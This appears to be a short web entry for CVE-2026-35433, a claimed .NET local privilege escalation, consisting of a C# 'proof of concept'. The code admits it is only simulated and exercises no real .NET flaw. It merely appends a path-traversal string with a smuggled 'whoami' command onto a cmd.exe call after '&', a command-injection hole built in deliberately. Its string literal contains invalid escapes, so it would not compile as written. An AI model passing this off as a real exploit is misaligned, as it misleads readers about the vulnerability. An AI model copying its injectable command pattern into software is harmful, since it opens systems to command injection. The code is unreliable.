CVE-2026-35433 .NET本地权限提升漏洞

/* * PoC for CVE-2026-35433 * This is a simulated demonstration of improper input validation leading to local privilege escalation. * Compile with: csc PoC.cs */ using System; using System.Diagnostics; using System.IO; namespace PoC_CVE_2026_35433 { class Program { static void Main(string[] args) { Console.WriteLine("[*] PoC Trigger for CVE-2026-35433: .NET Local Privilege Escalation"); // Simulate malicious input that bypasses validation string maliciousInput = "..\..\Windows\System32\cmd.exe /c whoami"; try { // Vulnerable function call simulating the lack of input sanitization ProcessVulnerableInput(maliciousInput); } catch (Exception ex) { Console.WriteLine("[-] Exploit failed: " + ex.Message); } } // Simulates a vulnerable .NET method handling file paths or commands static void ProcessVulnerableInput(string input) { Console.WriteLine("[+] Processing input: " + input); // In a real scenario, this might trigger a command injection or path traversal // leading to code execution with elevated privileges. ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.FileName = "cmd.exe"; startInfo.Arguments = "/c echo Vulnerable execution & " + input; startInfo.UseShellExecute = false; startInfo.RedirectStandardOutput = true; using (Process process = Process.Start(startInfo)) { using (StreamReader reader = process.StandardOutput) { string result = reader.ReadToEnd(); Console.WriteLine(result); } } Console.WriteLine("[+] Exploit execution finished."); } } }